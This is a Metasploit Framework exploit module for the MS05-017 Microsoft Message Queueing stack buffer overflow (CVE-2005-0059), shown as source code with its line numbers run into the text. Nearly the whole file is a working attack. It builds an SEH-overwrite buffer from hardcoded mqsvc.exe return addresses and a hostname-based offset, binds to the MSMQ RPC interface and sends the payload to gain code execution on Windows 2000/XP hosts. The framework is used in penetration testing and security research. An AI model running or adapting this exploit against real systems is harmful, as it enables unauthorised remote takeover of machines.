Path: blob/master/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
21627 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS05-017 Microsoft Message Queueing Service Path Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the RPC interface18to the Microsoft Message Queueing service. The offset to the19return address changes based on the length of the system20hostname, so this must be provided via the 'HNAME' option.21Much thanks to snort.org and Jean-Baptiste Marchand's22excellent MSRPC website.23},24'Author' => [ 'hdm' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2005-0059'],28[ 'OSVDB', '15458'],29[ 'MSB', 'MS05-017'],30[ 'BID', '13112'],31],32'Privileged' => true,33'Payload' => {34'Space' => 1024,35'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",36'StackAdjustment' => -3500,3738},39'Platform' => %w{win},40'Targets' => [41[42'Windows 2000 ALL / Windows XP SP0-SP1 (English)',43{44'Platform' => 'win',45'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe46},47],48],49'DisclosureDate' => '2005-04-12',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859# Change the default port values to point at MSMQ60register_options(61[62Opt::RPORT(2103),63OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]),64]65)66end6768def autofilter69# Common vulnerability scanning tools report port 445/13970# due to how they test for the vulnerability. Remap this71# back to 2103 for automated exploitation7273rport = datastore['RPORT'].to_i74if (rport == 445 or rport == 139)75datastore['RPORT'] = 210376end7778# The NetBIOS hostname is required to exploit this bug reliably.79if (not datastore['HNAME'])80# XXX automatically determine the hostname81return false82end8384true85end8687def exploit88# MSMQ supports three forms of queue names, the two we can use are89# the IP address and the hostname. If we use the IP address via the90# TCP: format, the offset to the SEH frame will change depending on91# the length of the real hostname. For this reason, we force the user92# to supply us with the actual hostname.9394# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName9596queue_name = "OS:#{datastore['HNAME']}";97queue_hlen = datastore['HNAME'].length * 298queue_path = unicode(queue_name + "\\PRIVATE$\\")99100buf = rand_text_english(4000, payload_badchars)101102# Windows 2000 SEH offset goes first103buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')104buf[372 - queue_hlen - 4, 2] = "\xeb\x22"105106# Windows XP SEH offset goes second107seh = generate_seh_payload(target['Rets'][1])108buf[400 - queue_hlen - 4, seh.length] = seh109110# Append the path to the location and null terminate it111queue_path << buf << "\x00\x00"112113# Get the unicode length of this string114queue_plen = queue_path.length / 2115116connect117print_status("Trying target #{target.name}...")118119handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])120print_status("Binding to #{handle} ...")121dcerpc_bind(handle)122print_status("Bound to #{handle} ...")123124stubdata =125NDR.long(1) +126NDR.long(1) +127NDR.long(1) +128NDR.long(3) +129NDR.long(3) +130NDR.long(2) +131NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)132133print_status('Sending exploit ...')134135response = dcerpc.call(9, stubdata)136137if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)138case dcerpc.last_response.stub_data139when "\x20\x00\x0e\xc0"140print_status("The server rejected our request, the HNAME parameter could be incorrect")141when "\x1e\x00\x0e\xc0"142print_status("The server does not appear to be exploitable")143else144print_status("An unknown response was received from the server:")145print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])146end147end148149handler150disconnect151end152end153154155